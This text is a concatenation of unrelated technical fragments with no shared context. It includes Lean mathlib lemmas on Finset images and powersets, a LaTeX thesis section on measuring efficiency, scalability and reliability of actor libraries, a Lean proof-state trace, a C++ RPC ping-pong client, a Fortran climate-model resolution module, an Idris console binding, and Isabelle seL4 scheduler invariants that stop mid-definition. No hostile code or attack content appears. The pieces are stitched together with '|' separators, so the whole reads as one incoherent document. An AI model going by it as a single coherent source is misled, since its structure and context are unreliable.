forall {α : Type.{u2}} {β : Type.{u1}} [_inst_1 : DecidableEq.{succ u1} β] {f : PFun.{u2, u1} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u1} β (f x))] {s : Finset.{u2} α} {t : Finset.{u2} α}, (HasSubset.Subset.{u2} (Finset.{u2} α) (Finset.instHasSubsetFinset.{u2} α) s t) -> (HasSubset.Subset.{u1} (Finset.{u1} β) (Finset.instHasSubsetFinset.{u1} β) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) t))
Case conversion may be inaccurate. Consider using '#align finset.pimage_mono Finset.pimage_monoₓ'. -/
@[mono]
theorem pimage_mono (h : s ⊆ t) : s.pimage f ⊆ t.pimage f :=
pimage_subset.2 fun x hx y hy => mem_pimage.2 ⟨x, h hx, hy⟩
#align finset.pimage_mono Finset.pimage_mono
/- warning: finset.pimage_inter -> Finset.pimage_inter is a dubious translation:
lean 3 declaration is
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] {f : PFun.{u1, u2} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u2} β (f x))] {s : Finset.{u1} α} {t : Finset.{u1} α} [_inst_4 : DecidableEq.{succ u1} α], HasSubset.Subset.{u2} (Finset.{u2} β) (Finset.hasSubset.{u2} β) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) (Inter.inter.{u1} (Finset.{u1} α) (Finset.hasInter.{u1} α (fun (a : α) (b : α) => _inst_4 a b)) s t)) (Inter.inter.{u2} (Finset.{u2} β) (Finset.hasInter.{u2} β (fun (a : β) (b : β) => _inst_1 a b)) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) t))
but is expected to have type
forall {α : Type.{u2}} {β : Type.{u1}} [_inst_1 : DecidableEq.{succ u1} β] {f : PFun.{u2, u1} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u1} β (f x))] {s : Finset.{u2} α} {t : Finset.{u2} α} [_inst_4 : DecidableEq.{succ u2} α], HasSubset.Subset.{u1} (Finset.{u1} β) (Finset.instHasSubsetFinset.{u1} β) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) (Inter.inter.{u2} (Finset.{u2} α) (Finset.instInterFinset.{u2} α (fun (a : α) (b : α) => _inst_4 a b)) s t)) (Inter.inter.{u1} (Finset.{u1} β) (Finset.instInterFinset.{u1} β (fun (a : β) (b : β) => _inst_1 a b)) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) t))
Case conversion may be inaccurate. Consider using '#align finset.pimage_inter Finset.pimage_interₓ'. -/
theorem pimage_inter [DecidableEq α] : (s ∩ t).pimage f ⊆ s.pimage f ∩ t.pimage f := by
simp only [← coe_subset, coe_pimage, coe_inter, PFun.image_inter]
#align finset.pimage_inter Finset.pimage_inter
end Finset
|
\section{Methodology for Library Evaluation}
The three dimensions of library evaluation are (i)efficiency, (ii)scalability, and (iii)reliability. The overall evaluation of the library is the geometric mean of numerical measurements of each dimension. Standard numerical measurements for evaluating efficiency has been found in literature. A similar approach may apply to the evaluation of scalability. A numerical measure of reliability, unfortunately, requires further study. The first section of this part will review methodology of hardware efficiency evaluation, which I believe applies to software efficiency evaluation as well. In the rest three sections of this part, approaches to evaluate each dimension will be examined respectively.
\subsection{Measuring Hardware Efficiency}
In practice, hardware efficiency is measured by its performance regarding to a benchmark suite, which contains a set of test programs. Performance is defined as the reciprocal of mean execution time of all tests\cite{HePa06}. This project will use geometric mean instead of weighted arithmetic mean for three reasons.
Firstly and most importantly, as proved by Fleming and Wallace \cite{Fleming}, geometric mean is the only correct average of normalised measurements. As users often compare the performance of one system to another, performance is usually normalised to a reference system.
\begin{comment}
Precisely, let the benchmark suite has $n$ tests indexed from $1$ to $n$, performance of system A is calculated as:
$performance_A$
= $\frac{time_{ref}}{time_{A}}$
= $\frac{\sqrt[n]{\prod^{n}_{i=1} time_{ref_i}}}{\sqrt[n]{\prod^{n}_{i=1} time_{A_i}}}$
= $\sqrt[n]{\prod^{n}_{i=1}{\frac{time_{ref_i}}{time_{A_i}}}}$
\hspace{0.8 cm}where $time_{S_i}$ is the execution time of program $i$ on system $S$,
\hspace{1.0 cm} and $time_{S}$ is the time measurement of system $S$.
\end{comment}
Secondly, the order of calculating means and normalisation is flexible in practice. Therefore, the suite developer will only implement a generic tool for measuring unnormalised execution time. The work of comparing performance of two interested platforms will be left to users. Besides, users are free to extend the benchmark suite. When new tests are added to the benchmark suite, performance measure for old examples becomes a valid partial measure.
Finally, statistic tools could be employed to verify the soundness of chosen suite. For example, the geometric standard deviations is an indicator to assess the variability of the chosen suite.
\subsection{Measuring Library Efficiency}
The Methodology of measuring hardware efficiency also applies to measuring library efficiency, where both the library implementation and the running platform may differ.
To test the efficiency of different distributed programming libraries, a set of benchmarking examples need to be identified. To avoid unintentional optimisation in the TAkka implementation, benchmarks are scrupulously selected from existing applications written in other OTP-like libraries and modifications are made at the minimal level.
Theoretically, any program that involves a time measurement could be a candidate efficiency test. Such examples could be easily found in both the correctness test suite and the scalability test suite. However, we would like to exclude examples whose results significantly determine the overall measure. To this end, statistic methods such as principal component analysis will be employed.
\subsection{Measuring Scalability}
To assess the scalability of different OTP-like libraries, suitable examples from the BenchErl suite\cite{RELEASE} have been reimplemented using Akka and TAkka. A summary of selected examples will be given at \S\ref{scalability}.
Similar to efficiency evaluation, geometric mean of scalability measures of all examples could be the indicator of the library scalability. Unfortunately, numerical evaluation for scalability is not found in the literature. This project will use linear regression techniques to analysis the scalability of an OTP-like library in two aspects: (i) the degrees to which the performance speedup deviate from the ideal linear relationship regarding to the number of active CPU cores. (ii) the slope of the linear equation, assuming that the relationship between performance speedup and the number of active CPU cores is linear.
Finally, scalability of OTP-like libraries will be tested on a variety of platforms. The three candidate platforms are Beowulf cluster, Google App Engine, and Amazon EC2.
\subsection{Measuring Reliability}
Identify types of failures and their impact is a crucial part of reliability evaluation. The next two months will be devoted to the study of possible failures that could be handled at the language level. Methodology for numerically evaluating reliability requires more studies and careful verifications.
|
State Before: α : Type ?u.16480
β : Type ?u.16483
n n' m✝ : ℕ
s : Sym α n
a✝ b : α
inst✝ : DecidableEq α
m : Multiset α
hc : ↑Multiset.card m = n + 1
a : α
h : a ∈ m
⊢ ↑Multiset.card (Multiset.erase m a) = n State After: α : Type ?u.16480
β : Type ?u.16483
n n' m✝ : ℕ
s : Sym α n
a✝ b : α
inst✝ : DecidableEq α
m : Multiset α
hc : ↑Multiset.card m = n + 1
a : α
h : a ∈ m
⊢ Nat.pred (n + 1) = n Tactic: rw [Multiset.card_erase_of_mem h, hc] State Before: α : Type ?u.16480
β : Type ?u.16483
n n' m✝ : ℕ
s : Sym α n
a✝ b : α
inst✝ : DecidableEq α
m : Multiset α
hc : ↑Multiset.card m = n + 1
a : α
h : a ∈ m
⊢ Nat.pred (n + 1) = n State After: no goals Tactic: rfl |
/*
* ping_pong_client.cpp
*
* Created on: May 12, 2016
* Author: zmij
*/
#include <iostream>
#include <boost/program_options.hpp>
#include <wire/core/connector.hpp>
#include <wire/core/connection.hpp>
#include <test/ping_pong.hpp>
int
main(int argc, char* argv[])
try {
using namespace ::wire::core;
namespace po = ::boost::program_options;
po::options_description desc("Program options");
::std::string proxy_str;
desc.add_options()
("help,h", "show options description")
("server-proxy,p",
po::value< ::std::string >(&proxy_str)->required(),
"Ping-pong proxy string")
;
po::parsed_options parsed_cmd =
po::command_line_parser(argc, argv).options(desc).
allow_unregistered().run();
po::variables_map vm;
po::store(parsed_cmd, vm);
if (vm.count("help")) {
std::cout << desc << "\n";
return 0;
}
auto unrecognized_cmd = po::collect_unrecognized(parsed_cmd.options, po::exclude_positional);
po::notify(vm);
::wire::asio_config::io_service_ptr io_svc =
::std::make_shared< ::wire::asio_config::io_service >();
::wire::asio_config::io_service::work w{*io_svc};
connector_ptr cr = connector::create_connector(io_svc, unrecognized_cmd);
object_prx obj_prx = cr->string_to_proxy(proxy_str);
::test::ping_pong_prx pp_prx = checked_cast< ::test::ping_pong_proxy >(obj_prx);
pp_prx->test_string("blabla");
pp_prx->wire_get_connection()->close();
return 0;
} catch (::std::exception const& e) {
::std::cerr << "Exception: " << e.what() << "\n";
return 1;
} catch (...) {
::std::cerr << "Unexpected exception\n";
return 2;
}
|
Any compact set is Lebesgue measurable. |
/-
Copyright (c) 2018 Mario Carneiro. All rights reserved.
Released under Apache 2.0 license as described in the file LICENSE.
Authors: Mario Carneiro
-/
import data.finset.lattice
/-!
# The powerset of a finset
-/
namespace finset
open multiset
variables {α : Type*}
/-! ### powerset -/
section powerset
/-- When `s` is a finset, `s.powerset` is the finset of all subsets of `s` (seen as finsets). -/
def powerset (s : finset α) : finset (finset α) :=
⟨s.1.powerset.pmap finset.mk $ λ t h, nodup_of_le (mem_powerset.1 h) s.nodup,
s.nodup.powerset.pmap $ λ a ha b hb, congr_arg finset.val⟩
@[simp] theorem mem_powerset {s t : finset α} : s ∈ powerset t ↔ s ⊆ t :=
by cases s; simp only [powerset, mem_mk, mem_pmap, mem_powerset, exists_prop, exists_eq_right];
rw ← val_le_iff
@[simp] theorem empty_mem_powerset (s : finset α) : ∅ ∈ powerset s :=
mem_powerset.2 (empty_subset _)
@[simp] theorem mem_powerset_self (s : finset α) : s ∈ powerset s :=
mem_powerset.2 (subset.refl _)
@[simp] lemma powerset_empty : finset.powerset (∅ : finset α) = {∅} := rfl
@[simp] theorem powerset_mono {s t : finset α} : powerset s ⊆ powerset t ↔ s ⊆ t :=
⟨λ h, (mem_powerset.1 $ h $ mem_powerset_self _),
λ st u h, mem_powerset.2 $ subset.trans (mem_powerset.1 h) st⟩
/-- **Number of Subsets of a Set** -/
@[simp] theorem card_powerset (s : finset α) :
card (powerset s) = 2 ^ card s :=
(card_pmap _ _ _).trans (card_powerset s.1)
lemma not_mem_of_mem_powerset_of_not_mem {s t : finset α} {a : α}
(ht : t ∈ s.powerset) (h : a ∉ s) : a ∉ t :=
by { apply mt _ h, apply mem_powerset.1 ht }
lemma powerset_insert [decidable_eq α] (s : finset α) (a : α) :
powerset (insert a s) = s.powerset ∪ s.powerset.image (insert a) :=
begin
ext t,
simp only [exists_prop, mem_powerset, mem_image, mem_union, subset_insert_iff],
by_cases h : a ∈ t,
{ split,
{ exact λH, or.inr ⟨_, H, insert_erase h⟩ },
{ intros H,
cases H,
{ exact subset.trans (erase_subset a t) H },
{ rcases H with ⟨u, hu⟩,
rw ← hu.2,
exact subset.trans (erase_insert_subset a u) hu.1 } } },
{ have : ¬ ∃ (u : finset α), u ⊆ s ∧ insert a u = t,
by simp [ne.symm (ne_insert_of_not_mem _ _ h)],
simp [finset.erase_eq_of_not_mem h, this] }
end
/-- For predicate `p` decidable on subsets, it is decidable whether `p` holds for any subset. -/
instance decidable_exists_of_decidable_subsets {s : finset α} {p : Π t ⊆ s, Prop}
[Π t (h : t ⊆ s), decidable (p t h)] : decidable (∃ t (h : t ⊆ s), p t h) :=
decidable_of_iff (∃ t (hs : t ∈ s.powerset), p t (mem_powerset.1 hs))
⟨(λ ⟨t, _, hp⟩, ⟨t, _, hp⟩), (λ ⟨t, hs, hp⟩, ⟨t, mem_powerset.2 hs, hp⟩)⟩
/-- For predicate `p` decidable on subsets, it is decidable whether `p` holds for every subset. -/
instance decidable_forall_of_decidable_subsets {s : finset α} {p : Π t ⊆ s, Prop}
[Π t (h : t ⊆ s), decidable (p t h)] : decidable (∀ t (h : t ⊆ s), p t h) :=
decidable_of_iff (∀ t (h : t ∈ s.powerset), p t (mem_powerset.1 h))
⟨(λ h t hs, h t (mem_powerset.2 hs)), (λ h _ _, h _ _)⟩
/-- A version of `finset.decidable_exists_of_decidable_subsets` with a non-dependent `p`.
Typeclass inference cannot find `hu` here, so this is not an instance. -/
def decidable_exists_of_decidable_subsets' {s : finset α} {p : finset α → Prop}
(hu : Π t (h : t ⊆ s), decidable (p t)) : decidable (∃ t (h : t ⊆ s), p t) :=
@finset.decidable_exists_of_decidable_subsets _ _ _ hu
/-- A version of `finset.decidable_forall_of_decidable_subsets` with a non-dependent `p`.
Typeclass inference cannot find `hu` here, so this is not an instance. -/
def decidable_forall_of_decidable_subsets' {s : finset α} {p : finset α → Prop}
(hu : Π t (h : t ⊆ s), decidable (p t)) : decidable (∀ t (h : t ⊆ s), p t) :=
@finset.decidable_forall_of_decidable_subsets _ _ _ hu
end powerset
section ssubsets
variables [decidable_eq α]
/-- For `s` a finset, `s.ssubsets` is the finset comprising strict subsets of `s`. -/
def ssubsets (s : finset α) : finset (finset α) :=
erase (powerset s) s
@[simp] lemma mem_ssubsets {s t : finset α} : t ∈ s.ssubsets ↔ t ⊂ s :=
by rw [ssubsets, mem_erase, mem_powerset, ssubset_iff_subset_ne, and.comm]
lemma empty_mem_ssubsets {s : finset α} (h : s.nonempty) : ∅ ∈ s.ssubsets :=
by { rw [mem_ssubsets, ssubset_iff_subset_ne], exact ⟨empty_subset s, h.ne_empty.symm⟩, }
/-- For predicate `p` decidable on ssubsets, it is decidable whether `p` holds for any ssubset. -/
instance decidable_exists_of_decidable_ssubsets {s : finset α} {p : Π t ⊂ s, Prop}
[Π t (h : t ⊂ s), decidable (p t h)] : decidable (∃ t h, p t h) :=
decidable_of_iff (∃ t (hs : t ∈ s.ssubsets), p t (mem_ssubsets.1 hs))
⟨(λ ⟨t, _, hp⟩, ⟨t, _, hp⟩), (λ ⟨t, hs, hp⟩, ⟨t, mem_ssubsets.2 hs, hp⟩)⟩
/-- For predicate `p` decidable on ssubsets, it is decidable whether `p` holds for every ssubset. -/
instance decidable_forall_of_decidable_ssubsets {s : finset α} {p : Π t ⊂ s, Prop}
[Π t (h : t ⊂ s), decidable (p t h)] : decidable (∀ t h, p t h) :=
decidable_of_iff (∀ t (h : t ∈ s.ssubsets), p t (mem_ssubsets.1 h))
⟨(λ h t hs, h t (mem_ssubsets.2 hs)), (λ h _ _, h _ _)⟩
/-- A version of `finset.decidable_exists_of_decidable_ssubsets` with a non-dependent `p`.
Typeclass inference cannot find `hu` here, so this is not an instance. -/
def decidable_exists_of_decidable_ssubsets' {s : finset α} {p : finset α → Prop}
(hu : Π t (h : t ⊂ s), decidable (p t)) : decidable (∃ t (h : t ⊂ s), p t) :=
@finset.decidable_exists_of_decidable_ssubsets _ _ _ _ hu
/-- A version of `finset.decidable_forall_of_decidable_ssubsets` with a non-dependent `p`.
Typeclass inference cannot find `hu` here, so this is not an instance. -/
def decidable_forall_of_decidable_ssubsets' {s : finset α} {p : finset α → Prop}
(hu : Π t (h : t ⊂ s), decidable (p t)) : decidable (∀ t (h : t ⊂ s), p t) :=
@finset.decidable_forall_of_decidable_ssubsets _ _ _ _ hu
end ssubsets
section powerset_len
/-- Given an integer `n` and a finset `s`, then `powerset_len n s` is the finset of subsets of `s`
of cardinality `n`. -/
def powerset_len (n : ℕ) (s : finset α) : finset (finset α) :=
⟨(s.1.powerset_len n).pmap finset.mk $ λ t h, nodup_of_le (mem_powerset_len.1 h).1 s.2,
s.2.powerset_len.pmap $ λ a ha b hb, congr_arg finset.val⟩
/-- **Formula for the Number of Combinations** -/
theorem mem_powerset_len {n} {s t : finset α} :
s ∈ powerset_len n t ↔ s ⊆ t ∧ card s = n :=
by cases s; simp [powerset_len, val_le_iff.symm]; refl
@[simp] theorem powerset_len_mono {n} {s t : finset α} (h : s ⊆ t) :
powerset_len n s ⊆ powerset_len n t :=
λ u h', mem_powerset_len.2 $
and.imp (λ h₂, subset.trans h₂ h) id (mem_powerset_len.1 h')
/-- **Formula for the Number of Combinations** -/
@[simp] theorem card_powerset_len (n : ℕ) (s : finset α) :
card (powerset_len n s) = nat.choose (card s) n :=
(card_pmap _ _ _).trans (card_powerset_len n s.1)
@[simp] lemma powerset_len_zero (s : finset α) : finset.powerset_len 0 s = {∅} :=
begin
ext, rw [mem_powerset_len, mem_singleton, card_eq_zero],
refine ⟨λ h, h.2, λ h, by { rw h, exact ⟨empty_subset s, rfl⟩ }⟩,
end
@[simp] theorem powerset_len_empty (n : ℕ) {s : finset α} (h : s.card < n) :
powerset_len n s = ∅ :=
finset.card_eq_zero.mp (by rw [card_powerset_len, nat.choose_eq_zero_of_lt h])
theorem powerset_len_eq_filter {n} {s : finset α} :
powerset_len n s = (powerset s).filter (λ x, x.card = n) :=
by { ext, simp [mem_powerset_len] }
lemma powerset_len_succ_insert [decidable_eq α] {x : α} {s : finset α} (h : x ∉ s) (n : ℕ) :
powerset_len n.succ (insert x s) = powerset_len n.succ s ∪ (powerset_len n s).image (insert x) :=
begin
rw [powerset_len_eq_filter, powerset_insert, filter_union, ←powerset_len_eq_filter],
congr,
rw [powerset_len_eq_filter, image_filter],
congr' 1,
ext t,
simp only [mem_powerset, mem_filter, function.comp_app, and.congr_right_iff],
intro ht,
have : x ∉ t := λ H, h (ht H),
simp [card_insert_of_not_mem this, nat.succ_inj']
end
lemma powerset_len_nonempty {n : ℕ} {s : finset α} (h : n < s.card) :
(powerset_len n s).nonempty :=
begin
classical,
induction s using finset.induction_on with x s hx IH generalizing n,
{ simpa using h },
{ cases n,
{ simp },
{ rw [card_insert_of_not_mem hx, nat.succ_lt_succ_iff] at h,
rw powerset_len_succ_insert hx,
refine nonempty.mono _ ((IH h).image (insert x)),
convert (subset_union_right _ _) } }
end
@[simp] lemma powerset_len_self (s : finset α) :
powerset_len s.card s = {s} :=
begin
ext,
rw [mem_powerset_len, mem_singleton],
split,
{ exact λ ⟨hs, hc⟩, eq_of_subset_of_card_le hs hc.ge },
{ rintro rfl,
simp }
end
lemma powerset_card_bUnion [decidable_eq (finset α)] (s : finset α) :
finset.powerset s = (range (s.card + 1)).bUnion (λ i, powerset_len i s) :=
begin
refine ext (λ a, ⟨λ ha, _, λ ha, _ ⟩),
{ rw mem_bUnion,
exact ⟨a.card, mem_range.mpr (nat.lt_succ_of_le (card_le_of_subset (mem_powerset.mp ha))),
mem_powerset_len.mpr ⟨mem_powerset.mp ha, rfl⟩⟩ },
{ rcases mem_bUnion.mp ha with ⟨i, hi, ha⟩,
exact mem_powerset.mpr (mem_powerset_len.mp ha).1, }
end
lemma powerset_len_sup [decidable_eq α] (u : finset α) (n : ℕ) (hn : n < u.card) :
(powerset_len n.succ u).sup id = u :=
begin
apply le_antisymm,
{ simp_rw [sup_le_iff, mem_powerset_len],
rintros x ⟨h, -⟩,
exact h },
{ rw [sup_eq_bUnion, le_iff_subset, subset_iff],
cases (nat.succ_le_of_lt hn).eq_or_lt with h' h',
{ simp [h'] },
{ intros x hx,
simp only [mem_bUnion, exists_prop, id.def],
obtain ⟨t, ht⟩ : ∃ t, t ∈ powerset_len n (u.erase x) := powerset_len_nonempty _,
{ refine ⟨insert x t, _, mem_insert_self _ _⟩,
rw [←insert_erase hx, powerset_len_succ_insert (not_mem_erase _ _)],
exact mem_union_right _ (mem_image_of_mem _ ht) },
{ rwa [card_erase_of_mem hx, lt_tsub_iff_right] } } }
end
@[simp]
lemma powerset_len_card_add (s : finset α) {i : ℕ} (hi : 0 < i) :
s.powerset_len (s.card + i) = ∅ :=
finset.powerset_len_empty _ (lt_add_of_pos_right (finset.card s) hi)
@[simp] theorem map_val_val_powerset_len (s : finset α) (i : ℕ) :
(s.powerset_len i).val.map finset.val = s.1.powerset_len i :=
by simp [finset.powerset_len, map_pmap, pmap_eq_map, map_id']
end powerset_len
end finset
|
[STATEMENT]
lemma is_methodI: "is_method (C,mdecl m)"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. is_method (C, mdecl m)
[PROOF STEP]
by (simp add: is_method_def) |
!@sum RES_M24S Resolution info for 24 layer, 4x5 strat model
!@+ (M20b with 4 more layers between 984mb and 150mb)
!@auth Original Development Team
!@ver 1.0
MODULE RESOLUTION
!@sum RESOLUTION contains horiz/vert resolution variables
!@auth Original Development Team
!@ver 1.0
IMPLICIT NONE
SAVE
!@var IM,JM longitudinal and latitudinal number of grid boxes
!@var LM number of vertical levels
!@var LS1 Layers LS1->LM: constant pressure levels, L<LS1: sigma levels
INTEGER, PARAMETER :: IM=72,JM=46,LM=24, LS1=17
!@var PSF,PMTOP global mean surface, model top pressure (mb)
!@var PTOP pressure at interface level sigma/const press coord syst (mb)
REAL*8, PARAMETER :: PSF=984.d0, PTOP = 150.d0, PMTOP = .3d0
!@var PSFMPT,PSTRAT pressure due to troposhere,stratosphere
REAL*8, PARAMETER :: PSFMPT=PSF-PTOP, PSTRAT=PTOP-PMTOP
!@var PLbot pressure levels at bottom of layers (mb)
REAL*8, PARAMETER, DIMENSION(LM+1) :: PLbot = (/
t PSF, 974.d0, 959.d0, 934.d0, 900.d0, 857.d0, ! Pbot L=1,..
t 804.d0, 744.d0, 677.d0, 607.d0, 535.d0, 463.d0, ! L=...
t 393.d0, 325.d0, 260.d0, 200.d0, ! L=...
1 PTOP, ! L=LS1
s 110.d0, 80.d0, 55.d0, 35.d0, 20.d0, ! L=...
s 10.d0, 3.d0, PMTOP /) ! L=..,LM+1
C**** KEP depends on whether stratos. EP flux diagnostics are calculated
C**** If dummy EPFLUX is used set KEP=0, otherwise KEP=21
!@param KEP number of lat/height E-P flux diagnostics
INTEGER, PARAMETER :: KEP=21
C**** Based on model top, determine how much of stratosphere is resolved
C**** PMTOP >= 10 mb, ISTRAT = 0
C**** 1 mb <= PMTOP < 10 mb, ISTRAT = 1
C**** PMTOP < 1 mb, ISTRAT = 2
INTEGER, PARAMETER :: ISTRAT = 2
END MODULE RESOLUTION
C**** The vertical resolution also determines whether
C**** stratospheric wave drag will be applied or not.
C**** This resolution is for a stratospheric model and so must be used
C**** in conjunction with the strat. modules
|
module Js.Console
import Js
%default total
export
log : (text : String) -> JS_IO ()
log = js "console.log(%0)" (String -> JS_IO ())
|
(*
* Copyright 2014, General Dynamics C4 Systems
*
* SPDX-License-Identifier: GPL-2.0-only
*)
theory DetSchedInvs_AI
imports "$L4V_ARCH/ArchDeterministic_AI"
begin
lemma get_etcb_rev:
"ekheap s p = Some etcb \<Longrightarrow> get_etcb p s = Some etcb"
by (clarsimp simp: get_etcb_def)
lemma get_etcb_SomeD: "get_etcb ptr s = Some v \<Longrightarrow> ekheap s ptr = Some v"
apply (case_tac "ekheap s ptr", simp_all add: get_etcb_def)
done
definition obj_at_kh where
"obj_at_kh P ref kh \<equiv> obj_at P ref ((undefined :: det_ext state)\<lparr>kheap := kh\<rparr>)"
lemma obj_at_kh_simp[simp]: "obj_at_kh P ref (kheap st) = obj_at P ref st"
apply (simp add: obj_at_def obj_at_kh_def)
done
definition st_tcb_at_kh where
"st_tcb_at_kh test \<equiv> obj_at_kh (\<lambda>ko. \<exists>tcb. ko = TCB tcb \<and> test (tcb_state tcb))"
lemma st_tcb_at_kh_simp[simp]: "st_tcb_at_kh test t (kheap st) = st_tcb_at test t st"
apply (simp add: pred_tcb_at_def st_tcb_at_kh_def)
done
definition is_etcb_at' where
"is_etcb_at' ref ekh \<equiv> ekh ref \<noteq> None"
abbreviation is_etcb_at:: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"is_etcb_at ref s \<equiv> is_etcb_at' ref (ekheap s)"
lemmas is_etcb_at_def = is_etcb_at'_def
definition etcb_at' :: "(etcb \<Rightarrow> bool) \<Rightarrow> obj_ref \<Rightarrow> (obj_ref \<Rightarrow> etcb option) \<Rightarrow> bool" where
"etcb_at' P ref ekh \<equiv> case ekh ref of Some x \<Rightarrow> P x | _ \<Rightarrow> True"
abbreviation etcb_at :: "(etcb \<Rightarrow> bool) \<Rightarrow> obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"etcb_at P ref s \<equiv> etcb_at' P ref (ekheap s)"
lemmas etcb_at_def = etcb_at'_def
lemma etcb_at_taut[simp]: "etcb_at' \<top> ref ekh"
apply (simp add: etcb_at'_def split: option.split)
done
lemma etcb_at_conj_is_etcb_at:
"(is_etcb_at' t ekh \<and> etcb_at' P t ekh)
= (case ekh t of None \<Rightarrow> False | Some x \<Rightarrow> P x)"
by (simp add: is_etcb_at_def etcb_at_def split: option.splits)
definition valid_etcbs_2 :: "(obj_ref \<Rightarrow> etcb option) \<Rightarrow> (obj_ref \<Rightarrow> kernel_object option) \<Rightarrow> bool"where
"valid_etcbs_2 ekh kh \<equiv> \<forall>ptr. (st_tcb_at_kh \<top> ptr kh) = (is_etcb_at' ptr ekh)"
abbreviation valid_etcbs :: "det_ext state \<Rightarrow> bool" where
"valid_etcbs s \<equiv> valid_etcbs_2 (ekheap s) (kheap s)"
lemmas valid_etcbs_def = valid_etcbs_2_def
definition
valid_idle_etcb_2 :: "(obj_ref \<Rightarrow> etcb option) \<Rightarrow> bool"
where
"valid_idle_etcb_2 ekh \<equiv> etcb_at' (\<lambda>etcb. tcb_domain etcb = default_domain) idle_thread_ptr ekh"
abbreviation valid_idle_etcb :: "det_ext state \<Rightarrow> bool" where
"valid_idle_etcb s \<equiv> valid_idle_etcb_2 (ekheap s)"
lemmas valid_idle_etcb_def = valid_idle_etcb_2_def
definition not_queued_2 where
"not_queued_2 qs t \<equiv> \<forall>d p. t \<notin> set (qs d p)"
abbreviation not_queued :: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"not_queued t s \<equiv> not_queued_2 (ready_queues s) t"
definition valid_queues_2 where
"valid_queues_2 queues ekh kh \<equiv> (\<forall>d p.
(\<forall>t \<in> set (queues d p). is_etcb_at' t ekh
\<and> etcb_at' (\<lambda>t. tcb_priority t = p \<and> tcb_domain t = d) t ekh
\<and> st_tcb_at_kh runnable t kh)
\<and> distinct (queues d p))"
abbreviation valid_queues :: "det_ext state \<Rightarrow> bool" where
"valid_queues s \<equiv> valid_queues_2 (ready_queues s) (ekheap s) (kheap s)"
lemmas valid_queues_def = valid_queues_2_def
lemma valid_queues_def2:
"valid_queues_2 queues ekh kh =
(\<forall>d p. (\<forall>t \<in> set (queues d p).
is_etcb_at' t ekh \<and>
(case ekh t of None \<Rightarrow> False | Some x \<Rightarrow> tcb_priority x = p \<and> tcb_domain x = d) \<and>
st_tcb_at_kh runnable t kh) \<and>
distinct (queues d p))"
by (clarsimp simp: valid_queues_def
conj_assoc[where P="is_etcb_at' t ekh \<and> (case ekh t of
None \<Rightarrow> False |
Some x \<Rightarrow> tcb_priority x = p \<and> tcb_domain x = d)"]
etcb_at_conj_is_etcb_at[symmetric])
definition valid_blocked_2 where
"valid_blocked_2 queues kh sa ct \<equiv>
(\<forall>t st. not_queued_2 queues t \<longrightarrow> st_tcb_at_kh ((=) st) t kh \<longrightarrow>
t \<noteq> ct \<longrightarrow> sa \<noteq> switch_thread t \<longrightarrow> (\<not> active st))"
abbreviation valid_blocked :: "det_ext state \<Rightarrow> bool" where
"valid_blocked s \<equiv> valid_blocked_2 (ready_queues s) (kheap s) (scheduler_action s) (cur_thread s)"
lemmas valid_blocked_def = valid_blocked_2_def
definition valid_blocked_except_2 where
"valid_blocked_except_2 thread queues kh sa ct \<equiv>
(\<forall>t st. t \<noteq> thread \<longrightarrow> not_queued_2 queues t \<longrightarrow> st_tcb_at_kh ((=) st) t kh \<longrightarrow>
t \<noteq> ct \<longrightarrow> sa \<noteq> switch_thread t \<longrightarrow> (\<not> active st))"
abbreviation valid_blocked_except :: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"valid_blocked_except t s \<equiv> valid_blocked_except_2 t (ready_queues s) (kheap s) (scheduler_action s) (cur_thread s)"
lemmas valid_blocked_except_def = valid_blocked_except_2_def
definition in_cur_domain_2 where
"in_cur_domain_2 thread cdom ekh \<equiv> etcb_at' (\<lambda>t. tcb_domain t = cdom) thread ekh"
abbreviation in_cur_domain :: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"in_cur_domain thread s \<equiv> in_cur_domain_2 thread (cur_domain s) (ekheap s)"
lemmas in_cur_domain_def = in_cur_domain_2_def
definition ct_in_cur_domain_2 where
"ct_in_cur_domain_2 thread thread' sa cdom ekh \<equiv>
sa = resume_cur_thread \<longrightarrow> thread = thread' \<or> in_cur_domain_2 thread cdom ekh"
abbreviation ct_in_cur_domain where
"ct_in_cur_domain s \<equiv> ct_in_cur_domain_2 (cur_thread s) (idle_thread s) (scheduler_action s) (cur_domain s) (ekheap s)"
lemmas ct_in_cur_domain_def = ct_in_cur_domain_2_def
definition is_activatable_2 where
"is_activatable_2 thread sa kh \<equiv> sa = resume_cur_thread \<longrightarrow> st_tcb_at_kh activatable thread kh"
abbreviation is_activatable :: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"is_activatable thread s \<equiv> is_activatable_2 thread (scheduler_action s) (kheap s)"
lemmas is_activatable_def = is_activatable_2_def
definition weak_valid_sched_action_2 where
"weak_valid_sched_action_2 sa ekh kh \<equiv>
\<forall>t. sa = switch_thread t \<longrightarrow> st_tcb_at_kh runnable t kh"
abbreviation weak_valid_sched_action:: "det_ext state \<Rightarrow> bool" where
"weak_valid_sched_action s \<equiv> weak_valid_sched_action_2 (scheduler_action s) (ekheap s) (kheap s)"
lemmas weak_valid_sched_action_def = weak_valid_sched_action_2_def
definition switch_in_cur_domain_2 where
"switch_in_cur_domain_2 sa ekh cdom \<equiv>
